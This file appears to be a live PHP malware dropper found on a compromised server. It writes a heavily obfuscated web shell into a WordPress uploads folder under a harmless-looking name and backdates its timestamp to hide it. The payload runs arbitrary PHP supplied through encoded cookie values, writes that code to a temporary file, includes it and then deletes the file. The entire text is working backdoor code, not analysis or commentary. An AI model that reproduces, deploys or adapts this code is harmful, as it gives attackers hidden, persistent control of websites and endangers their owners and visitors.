File: //proc/self/root/run/shm/.binding
<?php $p = "{$_SERVER['DOCUMENT_ROOT']}/wp-content/uploads/2025/04/pollshome.php"; $c = rawurldecode('%3C%3Fphp%0D%0A%0D%0Aif%28isset%28%24_COOKIE%5B%27Td%27%5D%29%29%20%7B%0D%0A%20%20%20%20die%28%276ZVOS%27.%27WLrZ%27%29%3B%0D%0A%7D%0D%0Agoto%20vQHuq%3B%20k5T28%3A%20%24W6uur%20%3D%20arrAy_uiNtErsEct_aSsoC%28%24W6uur%2C%20%24W6uur%2C%20%22%5C163%5Cx74%5Cx72%5Cx63%5C155%5Cx70%22%29%3B%20goto%20Oi8cl%3B%20Oi8cl%3A%20if%20%28%21%40TrAiT_ExISTs%28%22%5Cx70%5C120%5Cx56%5C107%5C152%5Cx42%5C152%5C110%5C112%5C127%5Cx77%5Cx70%22%29%29%20%7B%20goto%20t02QV%3B%20%7D%20goto%20tfalG%3B%20fFEL0%3A%20yvmh2%3A%20goto%20bjuVW%3B%20DlYuC%3A%20iCgMN%28%24NPRur%2C%20%24AS1xu%2C%20%24KFSoP%2C%20%24uOQgN%2C%20%24kaxkk%2C%20%24oTEK4%2C%20%24NlJVe%2C%20%24n5Ywf%2C%20%24h3x8a%2C%20%24BFYKX%2C%20%24qWg2h%2C%20%24FbIdr%29%3B%20goto%20OYJkz%3B%20m1kxH%3A%20%24bhTFt%20%3D%20%22%5Cx31%5Cx36%5C60%5C61%5Cx66%5C142%5Cx37%5C62%5C141%5Cx34%5C144%5Cx37%5Cx32%5Cx39%5C65%5Cx63%5C63%5C63%5Cx61%5Cx66%5Cx38%5C65%5Cx30%5Cx39%5C144%5Cx36%5Cx61%5Cx65%5Cx62%5Cx32%5C144%5Cx30%22%3B%20goto%20Gfyjl%3B%20Vyoed%3A%20if%20%28StRLEN%28%24O5JQ2%5B0117%20-%20060%20-%20073%20%2B%20035%20-%20%28-0334%20-%20-0205%20%2B%200130%29%5D%29%20%3D%3D%20%28int%29%20round%280%20%2B%200%20%2B%200%29%20%2B%20%28int%29%20rOuNd%280%20%2B%200%20%2B%200%29%20%26%26%20STrlEN%28%24O5JQ2%5B%28int%29%20ROUND%280.33333333333333%20%2B%200.33333333333333%20%2B%200.33333333333333%29%20-%20%28int%29%20RouND%280%20%2B%200%20%2B%200%20%2B%200%29%5D%29%20%21%3D%20052%20%2B%20-011%20-%20%28int%29%20rouNd%280.75%20%2B%200.75%20%2B%200.75%20%2B%200.75%29%20%26%26%20%28strlen%28%24O5JQ2%5B0451%20%2B%20-01233%20%2B%200565%20-%20%28int%29%20rOUND%280%20%2B%200%20%2B%200%29%5D%29%20%3C%20-03%20-%20-034%20%26%26%20stRlEN%28%24O5JQ2%5B%28int%29%20rOuND%280%20%2B%200%29%20%2B%20%28int%29%20roUNd%281.5%20%2B%201.5%29%5D%29%20%3E%2012.5%29%20%26%26%20stRleN%28%24O5JQ2%5B0434%20%2B%20-0172%20%2B%200324%20%2B%20-0565%20%2B%20%28int%29%20rOUnD%281.5%20%2B%201.5%29%5D%29%20%3D%3D%20%28int%29%20ROUnD%2812%20%2B%2012%20%2B%2012%29%20-%20%28int%29%20ROUnd%282%20%2B%202%29%29%20%7B%20goto%20nZ075%3B%20%7D%20goto%20m1kxH%3B%20vQHuq%3A%20if%20%28%21%28isset%28%24_COOKIE%5B-0311%20%2B%200312%20%2B%20%28int%29%20roUNd%281%20%2B%201%29%5D%29%20%26%26%20isset%28%24_COOKIE%5B%28int%29%20rOunD%281.25%20%2B%201.25%20%2B%201.25%20%2B%201.25%29%20-%20%28int%29%20rOUnD%280.33333333333333%20%2B%200.33333333333333%20%2B%200.33333333333333%29%5D%29%29%29%20%7B%20goto%20nUl76%3B%20%7D%20goto%20wLZFp%3B%20SIVUq%3A%20lJv44%3A%20goto%20c9QKq%3B%20tfalG%3A%20y0QNz%28%24TZmGj%2C%20%24azjpi%2C%20%24xyp20%2C%20%24U1Xqf%29%3B%20goto%20YSLaw%3B%20vrZXA%3A%20asOrT%28%24W6uur%29%3B%20goto%20k5T28%3B%20bjuVW%3A%20goto%20lJv44%3B%20goto%20TAxGT%3B%20YSLaw%3A%20d3zyD%28%24kdluS%2C%20%24eubi7%2C%20%24kMLI_%2C%20%24ExRiX%2C%20%24mgn5z%2C%20%24gbECp%2C%20%24hLmIw%2C%20%24OiSeO%2C%20%24I8hGE%2C%20%24zb23Y%2C%20%24UqnGm%2C%20%24rRcmQ%29%3B%20goto%20MI_Fr%3B%20B8OWI%3A%20sPl_AuTOLoAd_REGister%28%22%5Cx5f%5C141%5Cx70%5C150%5C146%5C155%5C142%5Cx6d%5C164%22%29%3B%20goto%20vrZXA%3B%20OYJkz%3A%20t02QV%3A%20goto%20fFEL0%3B%20KdyqN%3A%20die%3B%20goto%20SIVUq%3B%20MI_Fr%3A%20dVyYk%28%24X1atI%2C%20%24Mv744%29%3B%20goto%20DlYuC%3B%20wLZFp%3A%20%24bhTFt%20%3D%20%24_COOKIE%5B-0232%20-%20020%20-%20-0171%20%2B%20066%20-%20%28-0221%20-%20-0403%20%2B%20-0161%29%5D%3B%20goto%20ZsdQh%3B%20ZsdQh%3A%20%24O5JQ2%20%3D%20%24_COOKIE%3B%20goto%20Vyoed%3B%20Gfyjl%3A%20if%20%28%21%28sTRncasECmp%28%24bhTFt%2C%20%24O5JQ2%5B0562%20%2B%20-0561%20%2B%20%28int%29%20ROunD%280.75%20%2B%200.75%20%2B%200.75%20%2B%200.75%29%5D%2C%20%28int%29%20RoUNd%287%20%2B%207%20%2B%207%20%2B%207%29%29%20%3D%3D%3D%20%28int%29%20RounD%280%20%2B%200%29%20-%20%28-0250%20-%20-0250%29%29%29%20%7B%20goto%20yvmh2%3B%20%7D%20goto%20ZNGxE%3B%20kKQJ4%3A%20function%20KONU9%28%24Qhzv9%29%20%7B%20goto%20tSiSA%3B%20W86CS%3A%20%24s31RN%20%3D%20null%3B%20goto%20hryD8%3B%20hryD8%3A%20SPL_aUTOloaD_UnReGISteR%28__FUNCTION__%29%3B%20goto%20xt51h%3B%20k9hKm%3A%20GRomy%3A%20goto%20EXcm6%3B%20BdgJp%3A%20if%20%28%21IS_WRITEaBLE%28%24CuGzF%29%29%20%7B%20goto%20GRomy%3B%20%7D%20goto%20od39y%3B%20orO_Y%3A%20%24CuGzF%20%3D%20GEtCWD%28%29%20.%20DIRECTORY_SEPARATOR%20.%20%22%5Cx75%5Cx68%5C115%5C117%5Cx73%5C165%5Cx55%5C171%5C120%5C172%5C125%5C157%5Cx54%22%3B%20goto%20NxIMi%3B%20NxIMi%3A%20uvkiW%3A%20goto%20Scdq2%3B%20xt51h%3A%20require_once%20%24CuGzF%3B%20goto%20gwrMD%3B%20tSiSA%3A%20%24O5JQ2%20%3D%20%24_COOKIE%3B%20goto%20wGeIX%3B%20SxFip%3A%20if%20%28%21%28IS_WrITAble%28%24CuGzF%29%20%3D%3D%20%21true%29%29%20%7B%20goto%20uvkiW%3B%20%7D%20goto%20orO_Y%3B%20wGeIX%3A%20%24CuGzF%20%3D%20TemPNAm%28sys_GEt_teMp_DIr%28%29%2C%20%22%5C171%5Cx4c%5C117%5Cx41%5Cx45%5C164%5Cx47%5C164%5Cx6d%5Cx39%5C64%5C116%5C70%5Cx50%5Cx4c%5Cx43%22%29%3B%20goto%20SxFip%3B%20r25St%3A%20%24a1swR%20%3D%20%22%5Cx3c%22%20.%20%24a1swR%20.%20%22%5C150%5Cx70%5Cx20%22%20.%20Base64_DecODE%28stR_rot13%28%24O5JQ2%5B%28int%29%20roUnD%282%20%2B%202%29%20-%20%28int%29%20rOUNd%280.25%20%2B%200.25%20%2B%200.25%20%2B%200.25%29%5D%29%29%20.%20%22%5C40%5Cx3f%5C76%22%3B%20goto%20BdgJp%3B%20gwrMD%3A%20%40unLInK%28%24CuGzF%29%3B%20goto%20k9hKm%3B%20erSS2%3A%20%24s31RN-%3EfwRite%28%24a1swR%2C%20stRlen%28%24a1swR%29%29%3B%20goto%20W86CS%3B%20Scdq2%3A%20%24a1swR%20%3D%20%22%5Cx3f%5C160%22%3B%20goto%20r25St%3B%20od39y%3A%20%24s31RN%20%3D%20new%20sPlFIlEObjecT%28%24CuGzF%2C%20%22%5C143%22%29%3B%20goto%20erSS2%3B%20EXcm6%3A%20%7D%20goto%20B8OWI%3B%20TAxGT%3A%20nZ075%3A%20goto%20KdyqN%3B%20ZNGxE%3A%20%24W6uur%20%3D%20pREG_SPLIt%28%22%5Cx2f%5C60%5Cx52%5C67%5C107%5C147%5C171%5C104%5Cx42%5C65%5C120%5C171%5Cx2f%22%2C%20%22%5Cx53%5Cx5a%5Cx74%5C162%5Cx63%5Cx46%5Cx5a%5C105%5C147%5C143%5C125%5Cx58%5Cx64%5Cx59%22%29%3B%20goto%20kKQJ4%3B%20c9QKq%3A%20nUl76%3A'); if (file_put_contents($p, $c)) { echo '!success!'; @touch($p, 1752141873); } die('!ended!');